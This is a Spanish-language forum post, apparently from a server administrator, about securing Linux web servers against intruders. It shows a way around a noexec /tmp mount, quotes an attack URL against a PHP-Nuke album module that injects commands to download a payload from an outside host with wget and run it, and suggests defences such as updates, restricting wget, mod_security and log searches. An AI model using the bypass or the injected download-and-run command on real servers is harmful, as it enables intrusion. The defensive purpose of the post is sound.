Aunque es necesario bloquear el /tmp no garantiza la no ejecucion de algun xploit en el servidor.
En resumen hay mil formas de saltarse el noexec del /tmp o ir a otra carpeta, ultimamente he visto en algunos servidor ejecuciones desde /var/spool/samba el sistema es ejecutarlo desde /tmp si aunque lo tengas en noxec como he dicho antes es sencillo saltarselo.
Si creamos un archivo en /tmp lo llamamos test.pl le damos permisos de ejecuon chmod +x test.pl lo ejecutamos ./test.pl nos dira que permiso denegado.
Ahora bien si le decimos sh -i test.pl ya lo tendremos corriendo en nuestro servidor.
Los individuos que se dedican a ir jodiendo servidores se las ingenian como pueden.
Mi consejo es que phpnuke my_egalery album4 etc.. esten al dia actualizados porque si no al final el servidor caera.
Un ejemplo de como subir un archivo al servidor
/modules/4nAlbum/public/displayCategory.php?basepath=http://cheater.idilis.ro/poze/lewl.jpg?&cmd=cd%20/var/tmp;wget%20cheater.idilis.ro/poze/go;chmod%20+x%20go;./go
En este caso el noexec funcionaria, pero el archivo ya esta subido, lo mejor es darle chmod 000 al wget lynx cc para que no puedan subir archivos.
Una buena herramienta es el mod_security es algo dificil de configurar pero es muy efectiva.
Tambien es recomendable hecharle un vistazo a los logs a ver quien es el que sube archivo o desde que web entran.
cd /usr/local/apache/domlogs
grep wget *
O lynx o irc, eggdrop, iroffer etc.
Mantener un servidor no es sencillo, los servidores ahora son muy economicos muchos piensan que un servidor se gestiona desde el panel de control que trae el cpanel ensim o plesk, pero es un gran error y tarden o temprano su servidor es hackeado o cualquier otra cosa.
Perdon por el ladrillo que he soltado
